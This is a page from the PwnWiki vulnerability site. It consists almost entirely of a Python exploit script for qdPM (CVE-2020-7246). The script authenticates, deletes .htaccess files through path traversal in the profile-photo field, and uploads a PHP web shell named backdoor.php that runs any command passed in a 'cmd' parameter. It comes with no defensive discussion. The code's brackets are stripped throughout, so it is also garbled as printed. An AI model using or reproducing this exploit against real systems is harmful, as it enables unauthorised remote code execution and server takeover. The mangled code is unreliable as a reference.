免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
影响版本
Version: <=1.9.1
EXP
# Exploit Title: qdPM 9.1 - Remote Code Execution # Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net # Date: 2020-01-22 # Exploit Author: Rishal Dwivedi (Loginsoft) # Vendor Homepage: http://qdpm.net/ # Software Link: http://qdpm.net/download-qdpm-free-project-management # Version: <=1.9.1 # Tested on: Windows 10 (Python 2.7) # CVE : CVE-2020-7246 # Exploit written in Python 2.7 # Tested Environment - Windows 10 # Path Traversal + Remote Code Execution # Command - qdpm-exploit.py -url http://localhost/ -u email protected -p password # -*- coding: utf-8 -*- #!/usr/bin/python import requests from lxml import html from argparse import ArgumentParser session_requests = requests.session() def multifrm( userid, username, csrftoken_, EMAIL, HOSTNAME, uservar, ): request_1 = { 'sf_method': (None, 'put'), 'usersid': (None, userid-1), 'usersphoto_preview': (None, uservar), 'users_csrf_token': (None, csrftoken_-1), 'usersname': (None, username-1), 'usersnew_password': (None, ''), 'usersemail': (None, EMAIL), 'extra_fields9': (None, ''), 'usersremove_photo': (None, '1'), } return request_1 def req( userid, username, csrftoken_, EMAIL, HOSTNAME, ): request_1 = multifrm( userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess', ) new = session_requests.post(HOSTNAME + 'index.php/myAccount/update' , files=request_1) request_2 = multifrm( userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess', ) new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update' , files=request_2) request_3 = { 'sf_method': (None, 'put'), 'usersid': (None, userid-1), 'usersphoto_preview': (None, ''), 'users_csrf_token': (None, csrftoken_-1), 'usersname': (None, username-1), 'usersnew_password': (None, ''), 'usersemail': (None, EMAIL), 'extra_fields9': (None, ''), 'usersphoto': ('backdoor.php', '<?php if(isset($_REQUEST\'cmd\')){ echo "<pre>"; $cmd = ($_REQUEST\'cmd\'); system($cmd); echo "
"; die; }?>'
, 'application/octet-stream'), } upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
result = session_requests.get(HOSTNAME + '/index.php/login') login_tree = html.fromstring(result.text) authenticity_token = \ list(set(login_tree.xpath("//input@name='login_csrf_token'/@value" )))0 payload = {'loginemail': EMAIL, 'loginpassword': PASSWORD, 'login_csrf_token': authenticity_token} result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login')) account_page = session_requests.get(HOSTNAME + 'index.php/myAccount' ) account_tree = html.fromstring(account_page.content) userid = account_tree.xpath("//input@name='usersid'/@value") username = account_tree.xpath("//input@name='usersname'/@value") csrftoken_ = \ account_tree.xpath("//input@name='users_csrf_token'/@value") req(userid, username, csrftoken_, EMAIL, HOSTNAME) get_file = session_requests.get(HOSTNAME + 'index.php/myAccount') final_tree = html.fromstring(get_file.content) backdoor = \ final_tree.xpath("//input@name='usersphoto_preview'/@value") print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \ + backdoor-1 + '?cmd=whoami'
if __name__ == '__main__':
parser = \ ArgumentParser(description='qdmp - Path traversal + RCE Exploit' ) parser.add_argument('-url', '--host', dest='hostname', help='Project URL') parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)') parser.add_argument('-p', '--password', dest='password', help='User password') args = parser.parse_args()
main(args.hostname, args.email, args.password)
PWNWIK.COM